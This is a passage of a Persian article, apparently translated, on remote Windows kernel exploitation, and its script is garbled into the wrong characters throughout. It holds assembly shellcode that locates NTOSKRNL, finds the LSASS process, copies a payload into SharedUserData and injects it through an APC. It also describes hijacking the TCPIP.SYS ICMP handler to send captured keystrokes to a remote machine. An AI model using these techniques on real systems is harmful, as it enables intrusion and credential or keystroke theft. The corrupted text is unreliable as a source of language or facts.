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 :هقضهَ

 exploit قغاع صاص کَ صع آى کض Bugtraq پیغاهی عا صع لیـت Solaris Designer ؿال پیق 10تقغیثا 

 عا صع هْعص هذوْلی تٌام (Remote Buffer Overflow)ّ جؼییات هغتْط تَ ؿغعیؼ تافغ اػ عاٍ صّع

Website v.1.1e تغای ّیٌضّػ NTادتوالا ایي اّلیي . ، تَ ًوایق هی گظاكتexploit ؿغعیؼ تافغ تغای 

 .ّیٌضّػ تْص کَ هٌتلغ هی كض

 کغصى ّیٌضّػ، توْعت ػویق exploit ؿال هیگظعص ّ توام عّكِا ّ تکٌیکِای هوکي صع هْعص 8ُن اکٌْى 

اها یک هْضْع کَ ٌُْػ توْعت ػوْهی هٌتلغ ًلضٍ اؿت، . ّ تا جؼییات فغاّاى، هْعص تغعؿی قغاع هی گیغًض

exploit  کغصى اػ عاٍ صّع win32 kernelالثتَ تؼضاصی آؿیة پظیغی صع عاتغَ تا .  هیثاكضkernel 

 . هغتْط تَ آى توْعت ػوْهی صع ؿایتِا قغاع ًگغفتَ اؿتexploitهٌتلغ گلتَ، اها ُیچ کض 

 ّ اؿتفاصٍ ّؿیغ اػ صیْاعُای آتلیي كشوی، تـیاعی اػ كغکت ُای ًغم افؼاعی ّ XP SP2تا اًتلاع ّیٌضّػ 

 .اهٌیتی، سْاؿتاع ایجاص ؿیـتن ُای ایوي هی تاكٌض

.  کغصى آًِا اػ عاٍ صّع هذثت سْاُض كضkernel ّ exploitصع ایي هقالَ، صع هْعص آؿیة ُای تغ پایَ 

ایي ًقن تضلیل .  هیثاكضSymantecهثال هْعص اؿتفاصٍ، ًقوی صع صیْاعُای آتلیي كشوی كغکت 

ایي ًقن هضت ػیاصی اؿت کَ تغعغف كضٍ اؿت، . ، تْجْص آهضٍ اؿتDNSهضیغیت غیغ هذیخ پاؿز ُای 

 کغصى exploitاها صع ایٌجا تَ هٌظْع كغح تؼضاص ساهی اػ هْاًغ هغتْط تَ لایَ ُای اعتثاعات کَ ؿض عاٍ 

صّ هثال .  قغاع هی گیغًض ّ تایض تغصاكتَ كًْض، هْعص اؿتفاصٍ قغاع هی گیغصhost-basedصیْاعُای آتلیي 

 اؿت کَ تَ ها اجاػٍ اتوال ّ kernel-loaderهثال اّل یک :  هْعص تغعؿی قغاع هی گیغصshellcodeاػ 

یک ثثت کٌٌضٍ . ػول هی کٌضkernelهثال صّم تغْع کاهل صع ؿغخ . اجغای ُغ گًَْ کض صلشْاٍ عا هی صُض

تغای فِن ایي هقالَ، . کلیض ًوة هی گغصص ّ تافغ کلیضُای ثثت كضٍ اػ یک ؿیـتن صّع صعیافت هی كْص

 . الؼاهی اؿتwin32 کغصى exploit ّ تجغتَ قثلی صع ػهیٌَ x86آكٌایی تَ ػتاى اؿوثلی 

 

Kernelصع هذیظ کاعتغ  

 اػ صّ تا NTّیٌضّػ .  اػ چِاع دلقَ پلتیثاًی هی کٌض کَ ؿغْح اًذواعی ًیؼ ًاهیضٍ هی كًْضx86هؼواعی 

 قاتلیت اجغا تغ عّی هؼواعی ُایی کَ اػ NTاػ ایي دلقَ ُا اؿتفاصٍ هی کٌض، تَ ایي صلیل کَ ؿیـتن ػاهل 

 .ُوَ چِاع ؿغخ پلتیثاًی ًوی کٌٌض عا، صاكتَ تاكض



 اجغا هی 3کضُای هغتْط تَ کاعتغ، هاًٌض تغًاهَ ُای کاعتغصی ّ ؿغّیؾ ُای ؿیـتن صع دلقَ اًذواعی 

 گیگاتایت دافظَ تشوین صاصٍ كضٍ تَ آًِا، صؿتغؿی صاكتَ 2فغآیٌضُای کاعتغ، فقظ هی تْاًٌض تَ . كًْض

 گیگاتایت، ٌُگاهی هْعص صؿتغؿی فغآیٌض قغاع هیگیغص کَ صع دالت اًذواعی اجغا 4ًیوَ تالایی ).تاكٌض

 . هیتْاًض تغییغ کٌض(Context)؛ کض هغتْط تَ کاعتغ قاتل هفذَ تٌضی اؿت ّ ػهیٌَ آى(كْص

 ، صعایْعُا، (HAL)لایَ اًتؼاػی ؿشت افؼاع.  اجغا هیلْص0 صع ؿغخ اًذواعی kernelکض هغتْط تَ 

کضی کَ .  اؿت0سغّجی، هضیغیت دافظَ ّ عاتظ گغافیکی، ُوَ هثال ُایی اػ کض اجغایی صع دلقَ /ّعّصی

صؿتغؿی کاهل تَ دافظَ ّ قاتلیت اجغای .  اجغا هیلْص، اػ کلیَ اهتیاػات ؿیـتن تِغٍ هیثغص0صع دلقَ 

 .صؿتْع الؼولِای اًذواعی، ُوگی اهکاى پظیغ هیلْص

 

Native API 

 .تْاؿغَ عغادی، فغآیٌضُای کاعتغ ًوی تْاًٌض تغْع صلشْاٍ ؿغْح اًذواعی سْص عا تغییغ صٌُض

، تَ اتوام kernelصع تـیاعی ػ هْاقغ، یک کاع هغتْط تَ کاعتغ، ًوی تْاًض تضّى قضعت ػولکغصی اػ ؿغخ 

 هجوْػَ ای اػ تْاتغ صاسلی اؿت کَ Native API. ّاعص ػول هیلْصNative APIصع ایٌجاؿت کَ .تغؿض

تغای جِت فغاسْاًی ؿغّیؾ " اهي" صع ّاقغ یک عّف Native API.  اجغا هیلًْضkernelصع دیغَ هض 

 . اػ دیغَ کاعی کاعتغ هی تاكضkernelُای هض 

 هاصع هیگغصًض، فغاسْاًی NTDLL.DLL عا کَ اػ Native APIیک تغًاهَ صع هض کاعتغ، هی تْاًض تْاتغ 

 هغتْط، kernel تؼضاص ػیاصی اػ تْاتغ عا هاصع هی کٌض کَ تَ ػٌْاى پْكلی تغای تاتغ NTDLL.DLL.کٌض

 :کٌیض، یک سغّجی هاًٌض ػیغ ًلاى صاصٍ هیلْص disassembleاگغ یکی اػ ایي تْاتغ عا . ػول هیکٌٌض

Windows 2000: 

mov eax, 0x0000002f 

lea edx, [esp+04] 

int 0x2e 

 تجؼیَ هیگغصص کَ اجغا عا تَ هض stub هاصع هیلْص، تَ یک NTDLL کَ تْؿظ Native APIُغ تاتغ 

kernelیک ثثات تا یک كواعٍ كاسن تاعگظاعی هیلْص کَ تَ جضّل ؿغّیـِای ؿیـتن .  اًتقال هیضُض

 . صؿتغؿی پیضا هیکٌض کَ ًوایاًگغ تاتغ هْعص ًیاػ اؿتNTOSKRNLاكاعٍ هیکٌض ّ هتؼاقثا تا آفـت 

Windows XP: 

mov eax, 0x0000002f 

mov edx, 7ffe0300 

call edx 
 



At offset 0x7ffe0300: 

 
mov edx, esp 

sysenter 

ret 

 یا تالاتغ Pentium II ، ػولیات تا دضی هتفاّت اؿت، صع هْعتی کَ کاهپیْتغ هْعص تذث xpصع ّیٌضّػ 

 SYSENTER/SYSEXIT اػ جفت صؿتْعالؼول kernel (تَ) تغای تغییغ هض کاعی اػ xpّیٌضّػ . تاكض

 تْجْص هی آّعص کَ صع هْعص آى تیلتغ هذثت shellcodeایي هْضْع گغٍ ای صع ایجاص . اؿتفاصٍ هیکٌض

 صع ؿغخ کاعتغ عا فغاهْف کغص ّ API هی تاؿت kernel صع هض shellcodeتَ هٌظْع ایجاص . سْاُض كض

 . اؿتفاصٍ ًوْصkernel هْجْص صع Native APIفقظ اػ تْاتغ 

 

 جؼییات هفذَ آتی هغگ

 (remote) سْص عا تَ ؿیـتن هْعص ًظغpacketصاصٍ ُای . فغى کٌیض کَ كوا یک آؿیة پظیغی یافتَ ایض

. صع ایي دالت، ایي هْضْع ًلاًَ سْتی اؿت. هْاجَ هیلْیض(Blue Screen)هی فغؿتیض ّ تا هفذَ آتی

، صعک ایي هـالَ اؿت کَ صع پلت هذٌَ kernel کغصى یک آؿیة پظیغی تغ پایَ exploitاّلیت قضم صع 

 .چَ هیگظعص "هفذَ آتی هغگ"

یک .هیثاكض، فغاسْاًی كضٍ اؿت Nativeکَ   KeBugCheckExهْاجَ هیلْیض، تاتغ  BSODُغ ّقت کَ تا 

bugcheckتَ صّ عّف هوکي اؿت ایجاص كْص : 

 kernelتْؿظ فغؿتٌضٍ سغای  -1

2- KeBugCheckExهـتقیوا تؼض اػ تغعؿی سغا، فغاسْاًی كضٍ اؿت . 

: تَ كغح ػیغ اؿت kernelػًجیغٍ عسضاصُای هْعت گغفتَ صع جِت اصاعٍ سغای 

  صع (KiTrapXX)کٌتغل عا تْؿظ ّعّصی ُای تْاتغ هشتلف kernelایجاص هیلْص، exceptionّقتی کَ یک 

 ؿغخ ًشـت Trap Handlerایي تْاتغ تلکیل صٌُضٍ .  تضؿت هی آّعص(IDT)دیغَ جضّل تْضیخ ّقفَ

 .ُـتٌض

Trap Handler َهوکي اؿت سْصف ت exception  ٍعؿیضگی کٌض، یک کٌتغل کٌٌضexception  ّ پیضا کٌض

exception  ،عا تَ آى گظع صُض ّ یا اگغ قاتل اصاعٍ کغصى ًثاكضKeBugCheckExعا فغاسْاًی سْاُض کغص . 

 .کجا ّ چغا عر صاصٍ اؿت Exception عا صعیافت کٌین تا تفِوین کَ Trap Frameصع توام دالات، ها تایض 



Trap Frame هاًٌض ؿاستاع CONTEXTصع ایي ؿاستاع، هی تْاًین دالت توام ثثات ُا ّ هقضاع اكاعٍ . اؿت

صع هْعت اؿتفاصٍ اػ . هْعت گغفتَ اؿت، پیضا کٌین Exception عا اػ آصعؿی کَ (IP)گغ صؿتْع الؼول

ػولکغص تِتغی صع ػهیٌَ  Windbg تایض تغْع صؿتی، پاعاهتغُای پلتَ قثلی عا تیاتین، اها   SoftICEتغًاهَ

 .كٌاست ؿاستاع اعائَ هیضُض

عر  BSODاگغ کاهپیْتغ كوا تَ گًَْ ای تٌظین كضٍ تاكض کَ فایلِای ثثت دافظَ عا طسیغٍ کٌض، ّقتی 

. طسیغٍ هیگغصص SystemRoot%\MEMORY.DMP%هیضُض، ایي فایل ثثت تغْع پیق فغى صع 

Windbg  ٌَعا اجغا کٌیض ّ گؼی“Open Crash Dump” عا تغای تاعگظاعی فایل طسیغٍ كضٍ، اًتشاب

پؾ اػ .  فغاسْاًی كضٍ اؿتTrap Handlerهـتقیوا تْؿظ  KeBugCheckExصع هثال ػیغ، .کٌیض

 :تاعگظاعی فایل ثثت، سغّجی ػیغ ًلاى صاصٍ هیلْص

 

 

 :اؿتفاصٍ هیکٌینkv  دال تغای ًوایق پلتَ اػ صؿتْع 

 

 

Windbg ًَلاى هیضُض ک KeBugCheckEx َتْؿظ عّتیي تل(trap routine)   KiTrap0E فغاسْاًی 

 .هی تاكض 0x8054199C صع آصعؽ Trap Frameكضٍ اؿت ّ 

 :هیاتین  ”trap [address]“ عا تْؿیلَ صؿتْع trap frameدال هذتْیات 



 

. هْعت گغفتَ اؿت، هلاُضٍ کٌین exceptionاکٌْى هیتْاًین ّضؼیت توام ثثات ُا عا صع ػهاًی کَ 

اكاعٍ ) EIPصقت کٌیض کَ هقضاع ثثات . ُوچٌیي هیتْاًین ًْادی دافظَ عا تا ًقغَ هلشوی ًوایق صُین

دالا هی تْاًین عًّض اجغا عا تَ صلشْاٍ . (صاصٍ تؼغیف كضٍ تْؿظ کاعتغ)اؿت 0x414141 (گغ صؿتْع الؼول

 .سْص تغییغ صُین

 :تَ كغح ػیغ اؿت ESPصع ایي هثال، صاصٍ طسیغٍ كضٍ صع ثثات 

 

 JMP ESP  ،CALLآصعؽ صیگغی کَ یکی اػ صؿتْعات  0x414141دال هیتْاًین اػ عغیق جایگؼیٌی 

ESP ، PUSH ESPصع اصاهَ هیتْاى اػ ُغ عّف صیگغی کَ تغای . عا اجغا هی کٌض، هـیغ اجغا عا تغییغ صُین

exploit کغصى آؿیة پظیغی ُای ؿغعیؼی تکاع هیغّص، اؿتفاصٍ ًوْص. 

، ؿْهیي پاعاهتغی هی تْص کَ trap frame هٌتلغ كضٍ تْص، Exceptionتْؿظ فغؿتٌضٍ  Bugcheckاگغ 

صع آى هْعت، كوا هی تایـت آصعؽ ؿْهیي پاعاهتغ تا تا .  گظع صاصٍ هی كضKiDispatchExceptionتَ 

ٌُگام اًتشاب یک آصعؽ جِت تغییغ عًّض اجغا، تایض اػ یک آصعؽ ایـتا صع . اؿتفاصٍ کٌیض trapصؿتْع 

 . اؿتفاصٍ ًوْص (آصعؿی کَ ُویلَ یکـاى تاكض )دافظَ

 

 shellcodeهثالِایی اػ 

 هیثاكض کَ تَ كوا اجاػٍ اتوال ُغ گًَْ کض کاعتغ ّ ”kernel loader“یک  shellcodeاّلیي هثال اػ 

جالة ایٌجاؿت کَ صع ایي هْعص كوا کٌتغل کاهل پغصاػًضٍ عا صع صؿت هیگیغیض ّ . اجغای اهي آى عا هیضُض

 .صع ػیي دال قاتلیت تاػگلت تَ هض کاعتغ عا ًیؼ صاعیض



ایي هثال یک اصاعٍ کٌٌضٍ ّقفَ هفذَ کلیض عا تٌظین ّ . اؿتفاصٍ هیکٌض kernelهثال صّم تغْع سالن اػ 

 عا TCPIP.SYSصع  ICMP، اصاعٍ کٌٌضٍ  shellcodeؿپؾ . توام کلیضُای فلغصٍ كضٍ عا ضثظ هیکٌض

، تافغ هفذَ کلیض عا تَ یک کاهپیْتغ صّع ICMP ECHOصؿتکاعی هیکٌض تا ٌُگام صعیافت صعسْاؿت 

 .اؿتفاصٍ هی کٌض APIکض ایي هثال کْچک اؿت ّ اػ تؼضاص کوی اػ تْاتغ . اًتقال صُض

 

“Kernel Loader” 

تغای هثال هی تْاى .  تَ هذیظ کاعتغ ّ اجغای آى ّجْص صاعصkernelچٌض تکٌیک تَ هٌظْع گظع صاصى کض اػ 

 صع دال اجغای کاعتغ عا، تَ هکاًی کَ کض كوا صع آى جا قغاع صاعص، thread  هغتْط تَ یکEIPهـتقیوا 

 .فغآیٌض صع دال اجغا، پؾ اػ ایي کاع، سْصف عا اػ تیي هیثغص. تغییغ صاص

صع چاعچْب  RtlCreateUserThread   ّRtlCreateUserProcessیک عّف صیگغ، اؿتفاصٍ اػ تْاتغ 

NTOSKRNL هی تاكض؛ ایي تْاتغ تغای ایجاص SMSS.EXE هْعص اؿتفاصٍ قغاع هیگیغًض کَ تٌِا فغآیٌض تضّى 

parent  اؿت ّ تَ ػٌْاى فغػًض kernel یکی ایٌکَ ایي تْاتغ : اها صّ هلکل ّجْص صاعص. كٌاستَ هیلْص

قغاع صاعًض، یؼٌی ٌُگام اجغا، ایي تْاتغ  NTOSKRNLتاتغ  INITهاصع ًویلًْض ّ صّم ایٌکَ آًِا صع تشق 

 .اػ تیي هیغًّض

دلقَ هفغ، اػ عاُکاع هٌغقی  (تَ)تغای تغییغ اػ xpّیٌضّػ . یک هلکل تْجْص هی آیض xpهتاؿفاًَ صع ّیٌضّػ 

 kernel تغْع هـتقین تْؿظ NTDLLاگغ یک تاتغ هاصع كضٍ اػ . تِغٍ هیثغص SYSEXIT  ّSYSENTERتغ 

تغای عفغ ایي هلکل، تایض قغؼَ کضی اضافی ًْكتَ . فغاسْاًی كْص، تضّى كک هفذَ آتی صع اًتظاع هاؿت

 ُا تغای اجغای APCصع ایٌجا ها اػ . هْعص ًیاػ عا اػ جضّل ؿغّیؾ ؿیـتن، تیاتض NTOSKRNLكْص تا تاتغ 

 ایي كیٍْ فقظ اػ تْاتغ هـتقیوا هاصع . ، صع هذیظ کاعتغ، اؿتفاصٍ هی کٌین(shellcode)تاتغ هْعص ًظغ سْص

 .اؿتفاصٍ هیکٌض NTOSKRNLكضٍ اػ 

، تاتغ فغاسْاًی " ّضؼیت اًتظاع قاتل ُلضاع"اجغایی صع هض کاعتغ ّ صع  threadصع یک  APCتا فغاسْاًی یک 

ّضؼیت اًتظاع " صع threadیک .  ًضاعین(context)كضٍ تایض تلاصعًگ اجغا كْص ّ ًیاػی تَ ایجاص ػهیٌَ قثلی

 ، SleepEx ،WaitForSingleObjectExی اؿت کَ تْاتغ  thread، ُغ گًَْ " قاتل ُلضاع

SignalObjectAndWai  ّMsgWaitForMultipleObjectsEx  عا تا تٌظین پغچنbAlertable  تَ هقضاعTRUE  ،

توام . اؿتفاصٍ هی کٌض ّ تـیاع قاتل اعویٌاى هی تاكض APIایي كیٍْ اػ دضاقل تْاتغ . فغاسْاًی کغصٍ تاكض

اّلیي قضم، تضؿت آّعصى آصعؽ .  هاصع هیلًْضNTOSKRNLتْاتؼی کَ ها اػ آًِا اؿتفاصٍ هی کٌین، اػ 

 اػ آى mid-deltaتغای اًجام ایي هغدلَ، اػ تکٌیکی کَ تؼٌْاى . تغْع صؿتی هیثاكضNTOSKRNLپایَ 



 پیضا هیکٌین ّ NTOSKRNLتضیي ػعیق کَ یک اكاعٍ گغ تَ فضای آصعؽ .یاص هیکٌٌض، اؿتفاصٍ هی کٌین

تغای تضؿا آّعصى اكاعٍ گغ تَ فضای آصعؽ .  عا تیاتین”MZ“یکی یکی اػ آى کن هیکٌین تا اهضای اجغایی 

NTOSKRLَاّلیي ّعّصی صع جضّل تْضیخ ّقف ، (IDT) َعا پیضا هیکٌین ػیغا کَ ایي ّعّصی ُویلَ ت 

 . اكاعٍ هی کٌضNTOSKRNLهکاًی صع چاعچْب ّ صع دْاكی 

 صؿتغؿی پیضا هیکٌض ّ ؿپؾ آًقضع اػ آى IDTقغؼَ کض ػیغ، اتتضا جِت تضؿت آّعصى اكاعٍ گغ دافظَ، تَ 

 .تا آصعؽ پایَ عا پیضا کٌض (یک ّادض یک ّادض)کن هیکٌض

mov esi, dword ptr ds:[0ffdff038h] ;      get address of IDT 
lodsd 
cdq 
lodsd ; get pointer into NTOSKRNL 
@base_loop: 
dec eax 
cmp dword ptr [eax], 00905a4dh ;        check for MZ signature 
jnz @base_loop 

 

ُوچٌیي تْؿظ  IDTاها چْى . اؿت SIDT، اؿتفاصٍ اػ صؿتْع  IDTعّف هؼوْل تغای صعیافت آصعؽ پایَ 

. ًیؼ قاتل صؿتیاتی اؿت، صع کض تالا اػ ایي اكاعٍ گغ اؿتفاصٍ گغصیض 0xFFDFF038اكاعٍ گغی صع آصعؽ 

ها فقظ تَ کلوَ تالایی . صعیافت ًکغص IDTهوکي اؿت هتْجَ كضٍ تاكیض کَ کض تالا، ّعّصی هؼتثغی اػ 

اجغا كْص ّ صع هذضّصٍ دافظَ   0xFFFF-0ّعّصی ادتیاج صاعین، ػیغا کلوَ پاییٌی هیتْاًض تغْع اهي اػ 

NTOSKRNL تاقی تواًض .

صع هغدلَ تؼضی، یک جضّل اػ هقاصیغ صع ُن ؿاػی صّ تایتی تغای ُغ یک اػ تْاتغ هْعص ًیاػ ایجاص 

تٌاتغایي عاُکاع .  ّیٌضّػ اكغال هیکٌٌضshellcodeعكتَ تاتغ ُا، هقضاع ػیاصی فضا صع هذضّصٍ .هیکٌین

پؾ اػ آى، ُغ اكاعٍ گغ تاتغ صع یک جضّل طسیغٍ هیلْص ّ صع .هثتٌی تغ صعُن ؿاػی هٌغقی تَ ًظغ هیغؿض

 . هْعص صؿتغؿی قغاع هیگیغصEBX اػ عغیق shellcodeهکاى ُای هشتلف 

جـتجْ ّ  NTOSKRNLایي کض صع جضّل هاصع كضٍ اػ . اؿت ”GetProcAddress“قضم تؼضی پیاصٍ ؿاػی 

تٌِا تفاّت صع ایي پیاصٍ ؿاػی، تاتغ صعُن ؿاػی اؿت کَ داّی . آصعؿِای تْاتغ هغتْط عا صعیافت هیکٌض

XOR/RORها اػ هقاصیغ صعُن ؿاػی تا اًضاػٍ یک .  ُغ تایت اػ لیـت ًام جضّل هضّع اؿتword  تجای

Dword  ٍاؿتفاصٍ هیکٌین تا اًضاػshellcode هیٌیون گغصص. 



ٌُگاهی کَ آصعؽ تْاتغ هْعص ًیاػ سْص عا یافتین، قضم تؼضی استوام یک تلْک دافظَ جضیض تغای طسیغٍ 

 NonPagedPoolعا تا پاعاهتغ   ExAllocatePoolتغای ایي هٌظْع، تاتغ . هیثاكض shellcodeکغصى تقیَ 

هْعص ًظغ عا صع تلْک غیغ هفذَ تٌضی كضٍ، کپی کغصٍ ّ تا اجغای  shellcodeؿپؾ . فغاسْاًی هیکٌین

 .، تَ ایي ًادیَ اػ دافظَ صؿتغؿی پیضا هیکٌینJMPصؿتْع الؼول ؿاصٍ 

 تَ  (ؿغخ صعسْاؿت ّقفَ) IRQL، تایض صقت کٌین کَ ُن اکٌْى صع چَ  Driverکغصى یک  exploitٌُگاهی 

صع دال اجغا صع  kernelؿغخ صعسْاؿت ّقفَ، ؿغخ اّلْیت ؿشت افؼاعی اؿت کَ یک عّتیي . ؿغ هیثغین

اگغ صع .  ادتیاج صاعًضPASSIVE(0)تغای اجغای هْفقیت آهیؼ، تَ ؿغخ  kernelتـیاعی اػ تْاتغ . آى اؿت

هْعص اؿتفاصٍ قغاع هیگیغص، تایض تَ ؿغخ  thread ّ DPCتاكین کَ تغای تغًاهَ عیؼی  DISPATCH(2)ؿغخ 

PASSIVE ایي اهغ اػ عغیق فغاسْاًی تاتغ هاصع كضٍ اػ . تغگغصینHAL  تا ًامKeLowerIrql  گظع صاصى ّ

. تَ آى، اهکاى پظیغ اؿت 0پاعاهتغ 

ًیاػ  EPROCESSٌُگاهی قوض اتوال تَ یک فغآیٌض صع دیغَ کاعتغ عا صاعین، تَ یک اكاعٍ گغ تا ؿاستاع 

کغصى ایي ؿاستاع صع  dumpهیتْاى تا . هیثاكض EPROCESSُغ فغآیٌض صاعای یک ؿاستاع هتٌاظغ . صاعین

Windbg اعلاػات تیلتغی صع هْعص ایي ؿاستاع تضؿت آّعص ( dt NT!_EPROCESS). تْاتؼی کَ ها اػ آًِا

اگغ تتْاى یک اكاعٍ گغ تَ . تضؿت هی آیٌض EPROCESSاؿتفاصٍ هیکٌین، تَ آفـت ُایی ادتیاج صاعًض کَ اػ 

تضؿت آّعص، آى ّقت قاصع سْاُین تْص تا جـتجْ صع آى، اكاعٍ گغُایی تا  EPROCESSُغ گًَْ ؿاستاع 

 .فغآیٌضُای فؼال، تضؿت آّعینؿاستاعُای توام 

اّلیَ، داهل  EPROCESS، اكاعٍ گغی تَ ؿاستاع  PsGetCurrentProcessػوْها اػ عغیق فغاسْاًی 

.  ّجْص صاعص”Idle“کغصى یک صعایْع صّع، اهکاى فغّص صع فضای آصعؽ  exploitهتاؿفاًَ ٌُگام . هیلْص

تَ جای آى، هیتْاى اػ . فغآیٌض هؼتثغی عا تاػ ًوی گغصاًضؿاستاع  ”Idle“فغآیٌض 

PsLookupProcessByProcessId   ّ اؿتفاصٍ ًوْصPID صع . فغآیٌض ؿیـتن عا تَ ػٌْاى پاعاهتغ تَ آى گظع صاص

. هیثاكض 8،   2000ّ صع ّیٌضّػ  4  ایي پاعاهتغ xpّیٌضّػ 

lea ebp, [edi-4] 
push ebp 
push 04 
call dword ptr _pslookupprocessbyprocessid ;     Get System EPROCESS 
mov eax, [ebp] ; Get EPROCESS pointer 

. دال کَ ؿاستاع اّلیَ صعیافت كضٍ اؿت، هیتْاى تا ؿاستاع ُغ یک اػ فغآیٌضُای فؼال، صؿتغؿی پیضا کغص

 SYSTEMاها ُغ فغآیٌضی کَ تَ ػٌْاى . تؼعیق هیکٌین LSASSصع ایٌجا کض هْعص ًظغ سْص عا صع فضای آصعؽ 

، دلقَ ای ایجاص هیکٌین ّ ُغ  LSASSتغای صؿتغؿی تَ . صع دال اجغا تاكض، ُضف سْتی تَ ًظغ هیغؿض



تَ آى اكاعٍ كضٍ تاكض، جـتجْ هیکٌین ّ هقایـَ  EPROCESS+ActiveProcessLinksّعّصی عا کَ تْؿظ 

 .اًجام هیضُین ModuleName  ّLSASSای تیي آصعؽ 

mov cl, EP_ActiveProcessLinks ; offset to ActiveProcessLinks 
add eax, ecx ; get address of EPROCESS+ActiveProcessLinks 
@eproc_loop: 
mov eax, [eax] ; get next EPROCESS struct 
mov cl, EP_ModuleName 
cmp dword ptr [eax+ecx], "sasl" ; is it LSASS? 
jnz @eproc_loop 

 

 عا اػ آى کن هیکٌین، صع ActiveProcessLinks عا پیضا کغصین، آفـت LSASSٌُگاهی کَ هکاى فغآیٌض 

 . تضؿت هی آیضLSASS تغای EPROCESSًتیجَ اكاعٍ گغی تَ كغّع ؿاستاع 

 xp sp2قثل اػ ّیٌضّػ .  سْص صع فضای دافظَ ُضف هیثاكضshellcodeقضم تؼضی کپی کغصى 

 ُویلَ صع آصعؽ PEB طسیغٍ کٌین؛ چْى (PEB) عا صع تلْک هذیظ فغآیٌضshellcode هیتْاًـتین

0x7ffdf000صع ًـشَ ّیٌضّػ . قغاع صاكتxp sp2 ، PEBصع ایي  . ُغ تاع صع هذلی تواصفی قغاع هیگیغص

 عؿویت صاعص، طسیغٍ SharedUserData عا صع فضای دافظَ ای کَ تٌام Shellcodeكغایظ هیتْاى 

 عا صع shellcode ، یک ًادیَ ػ دافظَ قاتل ًْكتي ّجْص صاعص کَ هیتْاًین 0xffdf000صع آصعؽ . کغص

 ًگاكتَ ّ توْعت فقظ سْاًضًی ػلاهت گظلغی 0x7ffe000ایي آصعؽ، اػ هذیظ کاعتغ صع . آى طسیغٍ کٌین

اػ آًجایی کَ صاصٍ هْجْص صع ایي . كضٍ اؿت؛ ایي هکاًِای ًگاكتَ كضٍ صع ُوَ پلتفغم ُا یکـاى ُـتٌض

هکاى دافظَ، تْؿیلَ توام فغآیٌضُا قاتل سْاًضى اؿت، لاػم ًیـت تَ فضای آصعؽ فغآیٌض ُضف، تغییغ 

 هیٌْیـین ّ ٌُگام kernel اػ 0Xffdf000+0x800تٌاتغایي صاصٍ هْعص ًظغ سْص عا صع آصعؽ . هکاى صُین

 . عا تَ آى گظع هیضُین0x7ffe000+0x800 صع هف، آصعؽ APCقغاع صاصى 

call @get_eip2 
@get_eip2: 
pop esi 
mov cx, shell code-$+1 
add esi, ecx ; Get shell code address 
mov cx, (shell code_end-shell code) ; Shell code size 
mov dword ptr [edi], SMEM_ADDR ; 0xFFDF0000+0x800 
push edi 
mov edi, [edi] ; Copy shell code to SharedUserData 
rep movsb 
pop edi 

 



 APCیک .  سْص، تغعغف کٌضAPC تیاتین کَ ًیاػهٌضی ُای ها عا صع جِت اجغای تاتغ  threadال تایض یک ح

 صع هض کاعتغ اؿتفاصٍ APCصع ایي دالت ها اػ .، ػهاًثٌضی كْصkernelهیتْاًض ُن تؼٌْاى هض کاعتغ ّ ُن هض 

 .سْاُین کغص

 ی کَ تَ آى گظع صاصٍ هیلْص، صع ّضؼیت thread صع هض کاعتغ، صع هْعتی فغاسْاًی سْاُض كض کَ APCیک 

 قاتل thread    تکٌیک پیضا کغصى یک. تکٌیک پیضا کغصى یک  قاتل ُلضاع تاكض. اًتظاع قاتل ُلضاع تاكض

 :اؿتفاصٍ تضیي هْعت اؿت

 فغایٌضصؿتغؿی پیضا هیکٌین ّ ؿپؾ تا ایجاص یک دلقَ ّ جـتجْی ُغ ETHREADاتتضا تَ اكاعٍ گغ ؿاستاع 

 . هْعص ًظغ سْص عا هی یاتینTHREAD ُا، THREADیک اػ 

mov edx, [edi+16] ; Pointer to EPROCESS 
mov ecx, [edx+ET_ThreadListHead] ; Get ETHREAD pointer 
@find_delay: 
mov ecx, [ecx] ; Get next thread 
cmp byte ptr [ecx-ET_ThreadState], 04h ; Thread in DelayExecution? 
jnz @find_delay 

 

 LSASS ، اكاعٍ گغی تَ ؿاستاع EPROCESS صع ؿاستاع ThreadListHeadقغؼَ کض تالا، اتتضا اػ عغیق 

ETHREADؿپؾ پغچن ُای ّضؼیت .  صعیافت هیکٌضthread عا تغعؿی کغصٍ تا thread ی عا کَ صع 

 ُضف ها پیضا كض، آصعؽ اتتضای ؿاستاع threadٌُگاهی کَ .  تاكض، تیاتینDelayExecutionّضؼیت 

KTHREAD عا صع ثثات EBPصع هغدلَ تؼض، تایض عّیتیي .  قغاع هیضُینAPCسْص عا هقضاع صُی اّلیَ ًوائین . 

push edx 
push 01 ; push processor 
push dword ptr [edi] ; push EIP of shell code (0x7ffe0000+0x800) 
push edx ; push NULL 
push offset KROUTINE ; push KERNEL routine 
push edx ; push NULL 
push ebp ; push KTHREAD 
push esi ; push APC object 
call dword ptr _keinitializeapc ; initialize APC 

 

، تَ ػٌْاى پاعاهتغ (SharedUserData طسیغٍ كضٍ صع shellcode) صع هضکاعتغ عاShellcode هغتْط تَ EIPها 

ایي عّتیي .  عا ًیؼ تَ آى گظع صُینkernelها تایض یک عّتیي .  صع پلتَ قغاع هیضُینKeInitializeApcتاتغ 

 KTHREADؿاستاع .   اكاعٍ هیکٌضRETتقغیثا ُیچ کاعی تغای ها اًجام ًویضُض ّ فقظ تَ یک صؿتْع الؼول



 ، صع هتغیغی کَ تْؿظ ثثات APCكی .  ها عا اجغا سْاُض ًیؼ، ضغّعی هیثاكضAPC ی کَ تاتغ threadآى 

ESIتَ آى اكاعٍ هیگغصص، قغاع سْاُض گغفت . 

 . ُضف، قغاع گیغصthread هغتْط تَ APC ، تایض صع هف APCدالا تاتغ 

push eax ; push 0 
push dword ptr [edi+4] ; system arg 
push dword ptr [edi+8] ; system arg 
push esi ; APC object 

call dword ptr _keinsertqueueapc 

 هفغ اؿت ّ ُغ EAXصع کض تالا، . اؿتKeInsertQueueApc ، تاتغ APCآسغیي تاتغ هْعص ًیاػ تغای فغؿتاصى 

 تاػگغصاًضٍ كضٍ اػ فغاسْاًی APCها ُوچٌیي كی .  اكاعٍ هیکٌٌضNULLصّ آعگْهاى ؿیـتن ًیؼ تَ یک هکاى 

 BSODصع آسغ ًیؼ تَ هٌظْع جلْگیغی اػ ایجاص .  گظع هیضُینKeInitializeApcقثلی عا، تَ ػٌْاى پاعاهتغ تَ 

 . قغاع صُینsleep عا صع ّضؼیت thread اهلی، تایض threadتْؿظ هذتْای 

push offset LARGE_INT 
push FALSE 
push KernelMode 
call dword ptr _kedelayexecutionthread 

 

صع ایي هثال ) تَ یک هقضاع هذیخ تؼعگ تَ ػٌْاى پاعاهتغKeDelayExecutionThreadصع ایٌجا تاتغ 

